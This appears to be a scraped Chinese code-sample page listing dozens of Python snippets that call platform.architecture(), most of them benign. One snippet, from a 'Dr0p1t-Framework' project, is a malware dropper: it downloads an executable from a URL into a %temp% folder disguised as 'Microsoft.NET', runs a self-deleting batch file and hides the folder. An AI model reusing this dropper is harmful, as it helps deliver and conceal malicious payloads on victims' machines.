Python platform 模块,architecture() 实例源码

我们从Python开源项目中,提取了以下48个代码示例,用于说明如何使用platform.architecture()

项目:xivo-install-cd    作者:wazo-pbx    | 项目源码 | 文件源码
def _define_version(self):
        architecture = self._get_architecture()
        if self.options.version == 'current':
            self.release = 'debian'
            self.SUITES = [
                'wazo-dev/main/binary-%s/Packages' % architecture,
            ]
        elif self.options.version == 'rc':
            self.release = 'debian'
            self.SUITES = [
                'wazo-rc/main/binary-%s/Packages' % architecture,
            ]
        else:
            self.release = 'archive'
            if self.options.version < '13.25':
                distribution = 'squeeze-xivo-skaro-%s' % self.options.version
            elif self.options.version < '16.16':
                distribution = 'xivo-%s' % self.options.version
            else:
                distribution = 'wazo-%s' % self.options.version
            self.SUITES = [
                '%s/main/binary-%s/Packages' % (distribution, architecture),
            ]
项目:SmartSocks    作者:waylybaye    | 项目源码 | 文件源码
def build_user_agent():
    """Build a Mozilla/5.0 compatible User-Agent string"""

    global USER_AGENT
    if USER_AGENT:
        return USER_AGENT

    ua_tuple = (
        'Mozilla/5.0',
        '(%s; U; %s; en-us)' % (platform.system(), platform.architecture()[0]),
        'Python/%s' % platform.python_version(),
        '(KHTML, like Gecko)',
        'speedtest-cli/%s' % __version__
    )
    USER_AGENT = ' '.join(ua_tuple)
    printer(USER_AGENT, debug=True)
    return USER_AGENT
项目:saltops    作者:jianglb-alibaba    | 项目源码 | 文件源码
def get_items(self):
        upMinionCount = Host.objects.filter(minion_status=1).count()
        downMinionCount = Host.objects.filter(minion_status=0).count()

        # ??????
        item_info = Item(
            html_id='SysInfo', name='??????',
            display=Item.AS_TABLE,
            value=(
                ('??', '%s, %s, %s' % (
                    platform.system(),
                    ' '.join(platform.linux_distribution()),
                    platform.release())),
                ('??', ' '.join(platform.architecture())),
                ('???', platform.processor()),
                ('Python??', platform.python_version()),
                ('??????', Host.objects.count()),
                ('????', Project.objects.count()),
                ('???????', '??? %s,??? %s' % (upMinionCount, downMinionCount)),
            ),
            classes='table-bordered table-condensed '
                    'table-hover table-striped'
        )

        return [item_info]
项目:radar    作者:amoose136    | 项目源码 | 文件源码
def _can_target(cmd, arch):
    """Return true if the architecture supports the -arch flag"""
    newcmd = cmd[:]
    fid, filename = tempfile.mkstemp(suffix=".f")
    try:
        d = os.path.dirname(filename)
        output = os.path.splitext(filename)[0] + ".o"
        try:
            newcmd.extend(["-arch", arch, "-c", filename])
            p = Popen(newcmd, stderr=STDOUT, stdout=PIPE, cwd=d)
            p.communicate()
            return p.returncode == 0
        finally:
            if os.path.exists(output):
                os.remove(output)
    finally:
        os.remove(filename)
    return False
项目:Prism    作者:Stumblinbear    | 项目源码 | 文件源码
def render(self):
        view = View('none')

        box = BoxElement(title='widget.info.header', icon='server', padding=False)
        table = TableElement(
                                content=[
                                        ('widget.info.os', '%s %s (%s)' % (platform.system(), platform.release(), platform.architecture()[0])),
                                        ('widget.info.hostname', platform.node()),
                                        ('widget.info.ipaddress', prism.settings.PRISM_CONFIG['host']),
                                        ('widget.info.uptime', self.get_uptime())
                                    ]
                            )
        box.add(table)
        view.add(box)

        return view
项目:dcmha    作者:wwwbjqcom    | 项目源码 | 文件源码
def TestPlatform():
    print ("----------Operation System--------------------------")
    # Windows will be : (32bit, WindowsPE)
    # Linux will be : (32bit, ELF)
    print(platform.architecture())

    # Windows will be : Windows-XP-5.1.2600-SP3 or Windows-post2008Server-6.1.7600
    # Linux will be : Linux-2.6.18-128.el5-i686-with-redhat-5.3-Final
    print(platform.platform())

    # Windows will be : Windows
    # Linux will be : Linux
    print(platform.system())

    print ("--------------Python Version-------------------------")
    # Windows and Linux will be : 3.1.1 or 3.1.3
    print(platform.python_version())
项目:zippy    作者:securesystemslab    | 项目源码 | 文件源码
def test_architecture_via_symlink(self): # issue3762
        # On Windows, the EXE needs to know where pythonXY.dll is at so we have
        # to add the directory to the path.
        if sys.platform == "win32":
            os.environ["Path"] = "{};{}".format(
                os.path.dirname(sys.executable), os.environ["Path"])

        def get(python):
            cmd = [python, '-c',
                'import platform; print(platform.architecture())']
            p = subprocess.Popen(cmd, stdout=subprocess.PIPE)
            return p.communicate()
        real = os.path.realpath(sys.executable)
        link = os.path.abspath(support.TESTFN)
        os.symlink(real, link)
        try:
            self.assertEqual(get(real), get(link))
        finally:
            os.remove(link)
项目:zippy    作者:securesystemslab    | 项目源码 | 文件源码
def test_uname_win32_ARCHITEW6432(self):
        # Issue 7860: make sure we get architecture from the correct variable
        # on 64 bit Windows: if PROCESSOR_ARCHITEW6432 exists we should be
        # using it, per
        # http://blogs.msdn.com/david.wang/archive/2006/03/26/HOWTO-Detect-Process-Bitness.aspx
        try:
            with support.EnvironmentVarGuard() as environ:
                if 'PROCESSOR_ARCHITEW6432' in environ:
                    del environ['PROCESSOR_ARCHITEW6432']
                environ['PROCESSOR_ARCHITECTURE'] = 'foo'
                platform._uname_cache = None
                system, node, release, version, machine, processor = platform.uname()
                self.assertEqual(machine, 'foo')
                environ['PROCESSOR_ARCHITEW6432'] = 'bar'
                platform._uname_cache = None
                system, node, release, version, machine, processor = platform.uname()
                self.assertEqual(machine, 'bar')
        finally:
            platform._uname_cache = None
项目:trex-http-proxy    作者:alwye    | 项目源码 | 文件源码
def import_module_list(modules_list):

    # platform data
    is_64bit   = platform.architecture()[0] == '64bit'
    is_python3 = (sys.version_info >= (3, 0))
    is_cel     = os.path.exists('/etc/system-profile')

    # regular modules
    for p in modules_list:
        full_path = generate_module_path(p, is_python3, is_64bit, is_cel)

        if not os.path.exists(full_path):
            print("Unable to find required module library: '{0}'".format(p['name']))
            print("Please provide the correct path using TREX_STL_EXT_PATH variable")
            print("current path used: '{0}'".format(full_path))
            exit(0)

        sys.path.insert(1, full_path)
项目:krpcScripts    作者:jwvanderbeck    | 项目源码 | 文件源码
def _can_target(cmd, arch):
    """Return true if the architecture supports the -arch flag"""
    newcmd = cmd[:]
    fid, filename = tempfile.mkstemp(suffix=".f")
    try:
        d = os.path.dirname(filename)
        output = os.path.splitext(filename)[0] + ".o"
        try:
            newcmd.extend(["-arch", arch, "-c", filename])
            p = Popen(newcmd, stderr=STDOUT, stdout=PIPE, cwd=d)
            p.communicate()
            return p.returncode == 0
        finally:
            if os.path.exists(output):
                os.remove(output)
    finally:
        os.remove(filename)
    return False
项目:Price-Comparator    作者:Thejas-1    | 项目源码 | 文件源码
def executable(self, base_path):
        """
        The function that determines the system specific binary that should be
        used in the pipeline. In case, the system is not known the default senna binary will
        be used.
        """ 
        os_name = system()
        if os_name == 'Linux':
            bits = architecture()[0]
            if bits == '64bit':
                return path.join(base_path, 'senna-linux64')
            return path.join(base_path, 'senna-linux32')
        if os_name == 'Windows':
            return path.join(base_path, 'senna-win32.exe')
        if os_name == 'Darwin':
            return path.join(base_path, 'senna-osx')
        return path.join(base_path, 'senna')
项目:driveboardapp    作者:nortd    | 项目源码 | 文件源码
def architecture():
    """
    Returns the bit depth of the python interpreter's architecture as
    a string ('32bit' or '64bit'). Similar to platform.architecture(),
    but with fixes for universal binaries on MacOS.
    """
    if is_darwin:
        # Darwin's platform.architecture() is buggy and always
        # returns "64bit" event for the 32bit version of Python's
        # universal binary. So we roll out our own (that works
        # on Darwin).
        if sys.maxsize > 2 ** 32:
            return '64bit'
        else:
            return '32bit'
    else:
        return platform.architecture()[0]
项目:oil    作者:oilshell    | 项目源码 | 文件源码
def test_uname_win32_ARCHITEW6432(self):
        # Issue 7860: make sure we get architecture from the correct variable
        # on 64 bit Windows: if PROCESSOR_ARCHITEW6432 exists we should be
        # using it, per
        # http://blogs.msdn.com/david.wang/archive/2006/03/26/HOWTO-Detect-Process-Bitness.aspx
        try:
            with test_support.EnvironmentVarGuard() as environ:
                if 'PROCESSOR_ARCHITEW6432' in environ:
                    del environ['PROCESSOR_ARCHITEW6432']
                environ['PROCESSOR_ARCHITECTURE'] = 'foo'
                platform._uname_cache = None
                system, node, release, version, machine, processor = platform.uname()
                self.assertEqual(machine, 'foo')
                environ['PROCESSOR_ARCHITEW6432'] = 'bar'
                platform._uname_cache = None
                system, node, release, version, machine, processor = platform.uname()
                self.assertEqual(machine, 'bar')
        finally:
            platform._uname_cache = None
项目:python2-tracer    作者:extremecoders-re    | 项目源码 | 文件源码
def test_uname_win32_ARCHITEW6432(self):
        # Issue 7860: make sure we get architecture from the correct variable
        # on 64 bit Windows: if PROCESSOR_ARCHITEW6432 exists we should be
        # using it, per
        # http://blogs.msdn.com/david.wang/archive/2006/03/26/HOWTO-Detect-Process-Bitness.aspx
        try:
            with test_support.EnvironmentVarGuard() as environ:
                if 'PROCESSOR_ARCHITEW6432' in environ:
                    del environ['PROCESSOR_ARCHITEW6432']
                environ['PROCESSOR_ARCHITECTURE'] = 'foo'
                platform._uname_cache = None
                system, node, release, version, machine, processor = platform.uname()
                self.assertEqual(machine, 'foo')
                environ['PROCESSOR_ARCHITEW6432'] = 'bar'
                platform._uname_cache = None
                system, node, release, version, machine, processor = platform.uname()
                self.assertEqual(machine, 'bar')
        finally:
            platform._uname_cache = None
项目:automated-speedtests    作者:meowimacow    | 项目源码 | 文件源码
def build_user_agent():
    """Build a Mozilla/5.0 compatible User-Agent string"""

    global user_agent
    if user_agent:
        return user_agent

    ua_tuple = (
        'Mozilla/5.0',
        '(%s; U; %s; en-us)' % (platform.system(), platform.architecture()[0]),
        'Python/%s' % platform.python_version(),
        '(KHTML, like Gecko)',
        'speedtest-cli/%s' % __version__
    )
    user_agent = ' '.join(ua_tuple)
    return user_agent
项目:web_ctp    作者:molebot    | 项目源码 | 文件源码
def test_architecture_via_symlink(self): # issue3762
        # On Windows, the EXE needs to know where pythonXY.dll is at so we have
        # to add the directory to the path.
        if sys.platform == "win32":
            os.environ["Path"] = "{};{}".format(
                os.path.dirname(sys.executable), os.environ["Path"])

        def get(python):
            cmd = [python, '-c',
                'import platform; print(platform.architecture())']
            p = subprocess.Popen(cmd, stdout=subprocess.PIPE)
            return p.communicate()
        real = os.path.realpath(sys.executable)
        link = os.path.abspath(support.TESTFN)
        os.symlink(real, link)
        try:
            self.assertEqual(get(real), get(link))
        finally:
            os.remove(link)
项目:web_ctp    作者:molebot    | 项目源码 | 文件源码
def test_uname_win32_ARCHITEW6432(self):
        # Issue 7860: make sure we get architecture from the correct variable
        # on 64 bit Windows: if PROCESSOR_ARCHITEW6432 exists we should be
        # using it, per
        # http://blogs.msdn.com/david.wang/archive/2006/03/26/HOWTO-Detect-Process-Bitness.aspx
        try:
            with support.EnvironmentVarGuard() as environ:
                if 'PROCESSOR_ARCHITEW6432' in environ:
                    del environ['PROCESSOR_ARCHITEW6432']
                environ['PROCESSOR_ARCHITECTURE'] = 'foo'
                platform._uname_cache = None
                system, node, release, version, machine, processor = platform.uname()
                self.assertEqual(machine, 'foo')
                environ['PROCESSOR_ARCHITEW6432'] = 'bar'
                platform._uname_cache = None
                system, node, release, version, machine, processor = platform.uname()
                self.assertEqual(machine, 'bar')
        finally:
            platform._uname_cache = None
项目:AntiMagic    作者:luo1fly    | 项目源码 | 文件源码
def collect():
    data = {
        'os_type': platform.system(),
        'os_release':"%s %s  %s "%( platform.release() ,platform.architecture()[0],platform.version()),
        'os_distribution': 'Microsoft',
        'asset_type':'server'
    }
    #data.update(cpuinfo())
    win32obj = Win32Info()
    data.update(win32obj.get_cpu_info())
    data.update(win32obj.get_ram_info())
    data.update(win32obj.get_server_info())
    data.update(win32obj.get_disk_info())
    data.update(win32obj.get_nic_info())

    #for k,v in data.items():
    #    print k,v
    return data
项目:EasyClangComplete    作者:niosus    | 项目源码 | 文件源码
def dir_from_output(output):
        """Get library directory based on the output of clang.

        Args:
            output (str): raw output from clang

        Returns:
            str: path to folder with libclang
        """
        log.debug("real output: %s", output)
        if platform.system() == "Darwin":
            # [HACK] uh... I'm not sure why it happens like this...
            folder_to_search = path.join(output, '..', '..')
            log.debug("folder to search: %s", folder_to_search)
            return folder_to_search
        elif platform.system() == "Windows":
            log.debug("architecture: %s", platform.architecture())
            return path.normpath(output)
        elif platform.system() == "Linux":
            return path.normpath(path.dirname(output))
        return None
项目:PyDataLondon29-EmbarrassinglyParallelDAWithAWSLambda    作者:SignalMedia    | 项目源码 | 文件源码
def _can_target(cmd, arch):
    """Return true if the architecture supports the -arch flag"""
    newcmd = cmd[:]
    fid, filename = tempfile.mkstemp(suffix=".f")
    try:
        d = os.path.dirname(filename)
        output = os.path.splitext(filename)[0] + ".o"
        try:
            newcmd.extend(["-arch", arch, "-c", filename])
            p = Popen(newcmd, stderr=STDOUT, stdout=PIPE, cwd=d)
            p.communicate()
            return p.returncode == 0
        finally:
            if os.path.exists(output):
                os.remove(output)
    finally:
        os.remove(filename)
    return False
项目:pyasp    作者:sthiele    | 项目源码 | 文件源码
def binaries_urls(platform_name, arch):
    """Return tuple of binaries name and URL, based on given sys informations.

    If detected system is not supported, an empty iterable is returned.
    Architecture and platforms supported depends of distant binary repository.

    """
    try:
        subpath = BASE_URL_PLATFORM_SPECIFIC_SUBPATHS[platform_name, arch]
    except KeyError:
        logging.getLogger().error(
            'clasp/gringo3/gringo4 binaries are not available for'
            ' platform ' + platform_name + ' under architecture '
            + arch + 'bits.')
        return tuple()  # empty iterable
    # no error: build the tuple of binaries paths
    return tuple((local_name, BINARIES_BASE_URL.format(subpath, remote_name))
                 for remote_name, local_name in BINARIES_NAME.items())
项目:remoteControlPPT    作者:htwenning    | 项目源码 | 文件源码
def os():
    import platform
    pm = platform.machine()
    if pm != '..' and pm.endswith('64'):  # recent Python (not Iron)
        return True
    else:
        import os
        if 'PROCESSOR_ARCHITEW6432' in os.environ:
            return True  # 32 bit program running on 64 bit Windows
        try:
            return os.environ['PROCESSOR_ARCHITECTURE'].endswith('64')  # 64 bit Windows 64 bit program
        except IndexError:
            pass  # not Windows
        try:
            return '64' in platform.architecture()[0]  # this often works in Linux
        except:
            return False     # is an older version of Python, assume also an older os (best we can guess)
项目:remoteControlPPT    作者:htwenning    | 项目源码 | 文件源码
def os():
    import platform
    pm = platform.machine()
    if pm != '..' and pm.endswith('64'):  # recent Python (not Iron)
        return True
    else:
        import os
        if 'PROCESSOR_ARCHITEW6432' in os.environ:
            return True  # 32 bit program running on 64 bit Windows
        try:
            return os.environ['PROCESSOR_ARCHITECTURE'].endswith('64')  # 64 bit Windows 64 bit program
        except IndexError:
            pass  # not Windows
        try:
            return '64' in platform.architecture()[0]  # this often works in Linux
        except:
            return False     # is an older version of Python, assume also an older os (best we can guess)
项目:aws-lambda-numpy    作者:vitolimandibhrata    | 项目源码 | 文件源码
def _can_target(cmd, arch):
    """Return true if the architecture supports the -arch flag"""
    newcmd = cmd[:]
    fid, filename = tempfile.mkstemp(suffix=".f")
    try:
        d = os.path.dirname(filename)
        output = os.path.splitext(filename)[0] + ".o"
        try:
            newcmd.extend(["-arch", arch, "-c", filename])
            p = Popen(newcmd, stderr=STDOUT, stdout=PIPE, cwd=d)
            p.communicate()
            return p.returncode == 0
        finally:
            if os.path.exists(output):
                os.remove(output)
    finally:
        os.remove(filename)
    return False
项目:CodeReader    作者:jasonrbr    | 项目源码 | 文件源码
def os():
    import platform
    pm = platform.machine()
    if pm != '..' and pm.endswith('64'):  # recent Python (not Iron)
        return True
    else:
        import os
        if 'PROCESSOR_ARCHITEW6432' in os.environ:
            return True  # 32 bit program running on 64 bit Windows
        try:
            return os.environ['PROCESSOR_ARCHITECTURE'].endswith('64')  # 64 bit Windows 64 bit program
        except IndexError:
            pass  # not Windows
        try:
            return '64' in platform.architecture()[0]  # this often works in Linux
        except:
            return False     # is an older version of Python, assume also an older os (best we can guess)
项目:CodeReader    作者:jasonrbr    | 项目源码 | 文件源码
def os():
    import platform
    pm = platform.machine()
    if pm != '..' and pm.endswith('64'):  # recent Python (not Iron)
        return True
    else:
        import os
        if 'PROCESSOR_ARCHITEW6432' in os.environ:
            return True  # 32 bit program running on 64 bit Windows
        try:
            return os.environ['PROCESSOR_ARCHITECTURE'].endswith('64')  # 64 bit Windows 64 bit program
        except IndexError:
            pass  # not Windows
        try:
            return '64' in platform.architecture()[0]  # this often works in Linux
        except:
            return False     # is an older version of Python, assume also an older os (best we can guess)
项目:neighborhood_mood_aws    作者:jarrellmark    | 项目源码 | 文件源码
def executable(self, base_path):
        """
        The function that determines the system specific binary that should be
        used in the pipeline. In case, the system is not known the default senna binary will
        be used.
        """ 
        os_name = system()
        if os_name == 'Linux':
            bits = architecture()[0]
            if bits == '64bit':
                return path.join(base_path, 'senna-linux64')
            return path.join(base_path, 'senna-linux32')
        if os_name == 'Windows':
            return path.join(base_path, 'senna-win32.exe')
        if os_name == 'Darwin':
            return path.join(base_path, 'senna-osx')
        return path.join(base_path, 'senna')
项目:pefile.pypy    作者:cloudtracer    | 项目源码 | 文件源码
def test_uname_win32_ARCHITEW6432(self):
        # Issue 7860: make sure we get architecture from the correct variable
        # on 64 bit Windows: if PROCESSOR_ARCHITEW6432 exists we should be
        # using it, per
        # http://blogs.msdn.com/david.wang/archive/2006/03/26/HOWTO-Detect-Process-Bitness.aspx
        try:
            with test_support.EnvironmentVarGuard() as environ:
                if 'PROCESSOR_ARCHITEW6432' in environ:
                    del environ['PROCESSOR_ARCHITEW6432']
                environ['PROCESSOR_ARCHITECTURE'] = 'foo'
                platform._uname_cache = None
                system, node, release, version, machine, processor = platform.uname()
                self.assertEqual(machine, 'foo')
                environ['PROCESSOR_ARCHITEW6432'] = 'bar'
                platform._uname_cache = None
                system, node, release, version, machine, processor = platform.uname()
                self.assertEqual(machine, 'bar')
        finally:
            platform._uname_cache = None
项目:Coffer    作者:Max00355    | 项目源码 | 文件源码
def copyBaseFiles(path):
    print (text.copyingFiles)
    # Supports 64 bit and 32 bit, no arm yet (though should be an easy fix)
    if platform.architecture()[0] == "64bit":
        arch = "amd64"
    else:
        arch = "i386"

    version = getFlag.getFlag("-v")
    architecture = getFlag.getFlag("-a")
    repo = getFlag.getFlag("-r") 
    if version not in content.versions:
        version = "xenial"
    if architecture and architecture in content.architectures:
        arch = content.architectures.get(architecture)
    print (text.usingVersion.format(version))
    debCmd = "bash " + getRootDir.getCofferDir() + "debootstrap/debootstrap --arch=" + arch + " {} {}"
    if repo:
        debCmd += " " + repo
    os.system(debCmd.format(version, path))
    getSourceList(path, version)
项目:ouroboros    作者:pybee    | 项目源码 | 文件源码
def test_architecture_via_symlink(self): # issue3762
        # On Windows, the EXE needs to know where pythonXY.dll is at so we have
        # to add the directory to the path.
        if sys.platform == "win32":
            os.environ["Path"] = "{};{}".format(
                os.path.dirname(sys.executable), os.environ["Path"])

        def get(python):
            cmd = [python, '-c',
                'import platform; print(platform.architecture())']
            p = subprocess.Popen(cmd, stdout=subprocess.PIPE)
            return p.communicate()
        real = os.path.realpath(sys.executable)
        link = os.path.abspath(support.TESTFN)
        os.symlink(real, link)
        try:
            self.assertEqual(get(real), get(link))
        finally:
            os.remove(link)
项目:ouroboros    作者:pybee    | 项目源码 | 文件源码
def test_uname_win32_ARCHITEW6432(self):
        # Issue 7860: make sure we get architecture from the correct variable
        # on 64 bit Windows: if PROCESSOR_ARCHITEW6432 exists we should be
        # using it, per
        # http://blogs.msdn.com/david.wang/archive/2006/03/26/HOWTO-Detect-Process-Bitness.aspx
        try:
            with support.EnvironmentVarGuard() as environ:
                if 'PROCESSOR_ARCHITEW6432' in environ:
                    del environ['PROCESSOR_ARCHITEW6432']
                environ['PROCESSOR_ARCHITECTURE'] = 'foo'
                platform._uname_cache = None
                system, node, release, version, machine, processor = platform.uname()
                self.assertEqual(machine, 'foo')
                environ['PROCESSOR_ARCHITEW6432'] = 'bar'
                platform._uname_cache = None
                system, node, release, version, machine, processor = platform.uname()
                self.assertEqual(machine, 'bar')
        finally:
            platform._uname_cache = None
项目:test-server    作者:xtria    | 项目源码 | 文件源码
def build_user_agent():
    """Build a Mozilla/5.0 compatible User-Agent string"""

    global user_agent
    if user_agent:
        return user_agent

    ua_tuple = (
        'Mozilla/5.0',
        '(%s; U; %s; en-us)' % (platform.system(), platform.architecture()[0]),
        'Python/%s' % platform.python_version(),
        '(KHTML, like Gecko)',
        'speedtest-cli/%s' % __version__
    )
    user_agent = ' '.join(ua_tuple)
    return user_agent
项目:ndk-python    作者:gittor    | 项目源码 | 文件源码
def test_uname_win32_ARCHITEW6432(self):
        # Issue 7860: make sure we get architecture from the correct variable
        # on 64 bit Windows: if PROCESSOR_ARCHITEW6432 exists we should be
        # using it, per
        # http://blogs.msdn.com/david.wang/archive/2006/03/26/HOWTO-Detect-Process-Bitness.aspx
        try:
            with test_support.EnvironmentVarGuard() as environ:
                if 'PROCESSOR_ARCHITEW6432' in environ:
                    del environ['PROCESSOR_ARCHITEW6432']
                environ['PROCESSOR_ARCHITECTURE'] = 'foo'
                platform._uname_cache = None
                system, node, release, version, machine, processor = platform.uname()
                self.assertEqual(machine, 'foo')
                environ['PROCESSOR_ARCHITEW6432'] = 'bar'
                platform._uname_cache = None
                system, node, release, version, machine, processor = platform.uname()
                self.assertEqual(machine, 'bar')
        finally:
            platform._uname_cache = None
项目:hate-to-hugs    作者:sdoran35    | 项目源码 | 文件源码
def executable(self, base_path):
        """
        The function that determines the system specific binary that should be
        used in the pipeline. In case, the system is not known the default senna binary will
        be used.
        """
        os_name = system()
        if os_name == 'Linux':
            bits = architecture()[0]
            if bits == '64bit':
                return path.join(base_path, 'senna-linux64')
            return path.join(base_path, 'senna-linux32')
        if os_name == 'Windows':
            return path.join(base_path, 'senna-win32.exe')
        if os_name == 'Darwin':
            return path.join(base_path, 'senna-osx')
        return path.join(base_path, 'senna')
项目:lambda-numba    作者:rlhotovy    | 项目源码 | 文件源码
def _can_target(cmd, arch):
    """Return true if the architecture supports the -arch flag"""
    newcmd = cmd[:]
    fid, filename = tempfile.mkstemp(suffix=".f")
    try:
        d = os.path.dirname(filename)
        output = os.path.splitext(filename)[0] + ".o"
        try:
            newcmd.extend(["-arch", arch, "-c", filename])
            p = Popen(newcmd, stderr=STDOUT, stdout=PIPE, cwd=d)
            p.communicate()
            return p.returncode == 0
        finally:
            if os.path.exists(output):
                os.remove(output)
    finally:
        os.remove(filename)
    return False
项目:nsf2x    作者:adb014    | 项目源码 | 文件源码
def main () :

    if platform.architecture()[0] == "32bit":
        helper = 'helper32'
    else :
        helper = 'helper64'

    py2exe_options = dict(
        packages = [],
        optimize=2,
        compressed=True, # uncompressed may or may not have a faster startup
        bundle_files=3,
        dist_dir=helper,
        )

    setup(console=['eml2pst.py'],
          name = "EML2PST",
          version = "0.1",
          description = "A simple EML to PST conversion utility",
          options={"py2exe": py2exe_options},
        )
项目:L.E.S.M.A    作者:NatanaelAntonioli    | 项目源码 | 文件源码
def build_user_agent():
    """Build a Mozilla/5.0 compatible User-Agent string"""

    global USER_AGENT
    if USER_AGENT:
        return USER_AGENT

    ua_tuple = (
        'Mozilla/5.0',
        '(%s; U; %s; en-us)' % (platform.system(), platform.architecture()[0]),
        'Python/%s' % platform.python_version(),
        '(KHTML, like Gecko)',
        'speedtest-cli/%s' % __version__
    )
    USER_AGENT = ' '.join(ua_tuple)
    printer(USER_AGENT, debug=True)
    return USER_AGENT
项目:udocker    作者:indigo-dc    | 项目源码 | 文件源码
def arch(self):
        """Get the host system architecture"""
        arch = ""
        try:
            machine = platform.machine()
            bits = platform.architecture()[0]
            if machine == "x86_64":
                if bits == "32bit":
                    arch = "i386"
                else:
                    arch = "amd64"
            elif machine in ("i386", "i486", "i586", "i686"):
                arch = "i386"
            elif machine.startswith("arm"):
                if bits == "32bit":
                    arch = "arm"
                else:
                    arch = "arm64"
        except (NameError, AttributeError):
            pass
        return arch
项目:udocker    作者:indigo-dc    | 项目源码 | 文件源码
def arch(self):
        """Get guest system architecture"""
        for filename in GuestInfo._binarylist:
            fpath = self._root_dir + filename
            data = self._get_arch(fpath)
            if not data:
                continue
            if "x86-64," in data:
                return "amd64"
            if "80386," in data:
                return "i386"
            if "ARM," in data:
                if "64-bit" in data:
                    return "arm64"
                else:
                    return "arm"
        return ""
项目:buildroot    作者:flutter    | 项目源码 | 文件源码
def HostArch():
  """Returns the host architecture with a predictable string."""
  host_arch = platform.machine()

  # Convert machine type to format recognized by gyp.
  if re.match(r'i.86', host_arch) or host_arch == 'i86pc':
    host_arch = 'ia32'
  elif host_arch in ['x86_64', 'amd64']:
    host_arch = 'x64'
  elif host_arch.startswith('arm'):
    host_arch = 'arm'

  # platform.machine is based on running kernel. It's possible to use 64-bit
  # kernel with 32-bit userland, e.g. to give linker slightly more memory.
  # Distinguish between different userland bitness by querying
  # the python binary.
  if host_arch == 'x64' and platform.architecture()[0] == '32bit':
    host_arch = 'ia32'

  return host_arch
项目:deliver    作者:orchestor    | 项目源码 | 文件源码
def _can_target(cmd, arch):
    """Return true if the architecture supports the -arch flag"""
    newcmd = cmd[:]
    fid, filename = tempfile.mkstemp(suffix=".f")
    os.close(fid)
    try:
        d = os.path.dirname(filename)
        output = os.path.splitext(filename)[0] + ".o"
        try:
            newcmd.extend(["-arch", arch, "-c", filename])
            p = Popen(newcmd, stderr=STDOUT, stdout=PIPE, cwd=d)
            p.communicate()
            return p.returncode == 0
        finally:
            if os.path.exists(output):
                os.remove(output)
    finally:
        os.remove(filename)
    return False
项目:FancyWord    作者:EastonLee    | 项目源码 | 文件源码
def executable(self, base_path):
        """
        The function that determines the system specific binary that should be
        used in the pipeline. In case, the system is not known the default senna binary will
        be used.
        """ 
        os_name = system()
        if os_name == 'Linux':
            bits = architecture()[0]
            if bits == '64bit':
                return path.join(base_path, 'senna-linux64')
            return path.join(base_path, 'senna-linux32')
        if os_name == 'Windows':
            return path.join(base_path, 'senna-win32.exe')
        if os_name == 'Darwin':
            return path.join(base_path, 'senna-osx')
        return path.join(base_path, 'senna')
项目:Dr0p1t-Framework    作者:Exploit-install    | 项目源码 | 文件源码
def fire_things_up(url,arch=False,zip=False):
    global pthhhh
    def work(zip):
        global pthhhh
        pthhhh = get_output("echo %temp%").strip()
        xx  = subprocess.Popen( 'mkdir "Microsoft.NET" >> NUL',shell=True,cwd=pthhhh)
        if not zip:
            x   = urlretrieve(url,pthhhh+"\\Microsoft.NET\\library.exe")
        elif zip:
            x   = urlretrieve(url,pthhhh+"\\Microsoft.NET\\library_data.zip")
            ##~Import-Here~##
            zip=zipfile.ZipFile(pthhhh+"\\Microsoft.NET\\library_data.zip")
            def get_exe_from(zip):
                for i in zip.namelist():
                    if i.endswith(".exe"):
                        return i
            f = open(pthhhh+"\\Microsoft.NET\\library.exe","wb")
            f.write( zip.read( get_exe_from(zip) ) )
            f.close()
            bat_data = '''@echo off\nbreak>library_data.zip\nDEL -f "library_data.zip"\nbreak>"%~f0" && DEL "%~f0" '''
            bat = open(pthhhh+"\\Microsoft.NET\\lolz_service.bat","w");bat.write(bat_data);bat.close()
            xxx = subprocess.Popen( pthhhh+"\\Microsoft.NET\\lolz_service.bat >> NUL",shell=True)

        #xx  = subprocess.Popen( "library.exe >> NUL",shell=True,cwd=pthhhh+"\\Microsoft.NET")
        xxx = subprocess.Popen( 'cd .. && attrib +s +h "Microsoft.NET" >> NUL',shell=True,cwd=pthhhh+"\\Microsoft.NET")
    #check architecture
    if arch:
        if architecture()[0][:2] == arch: work(zip)
    else: work(zip)

#Someshit
项目:xivo-install-cd    作者:wazo-pbx    | 项目源码 | 文件源码
def _get_architecture(self):
        arch = platform.architecture()[0]
        if arch == '64bit':
            architecture = 'amd64'
        elif arch == '32bit':
            architecture = 'i386'
        else:
            raise ('Unknown architecture!')
        return architecture
项目:packagecore    作者:BytePackager    | 项目源码 | 文件源码
def getName(self):
        return "%s-%s-%d-x86_64.pkg.tar.xz" % \
            (self._data.name, self._sanitizedVersion, self._data.releaseNum)

    ##
    # @brief Get the architecture field for the package name.
    #
    # @return The architecture name (e.g., x86_64).
项目:packagecore    作者:BytePackager    | 项目源码 | 文件源码
def getArch(self):
        bits = platform.architecture()[0]
        # Need to work with arm - ticket #103
        if bits == "64bit":
            return "x86_64"
        else:
            return "i686"
项目:packagecore    作者:BytePackager    | 项目源码 | 文件源码
def getName(self):
        return "%s-%s-%d.rpm" % (self._data.name, self._sanitizedVersion,
                                 self._data.releaseNum)

    ##
    # @brief Get the architecture field for the package name.
    #
    # @return The architecture name (e.g., x86_64).
项目:packagecore    作者:BytePackager    | 项目源码 | 文件源码
def getArch(self):
        bits = platform.architecture()[0]
        # need to add arm support -- ticket #103
        if bits == "64bit":
            return "x86_64"
        else:
            return "i686"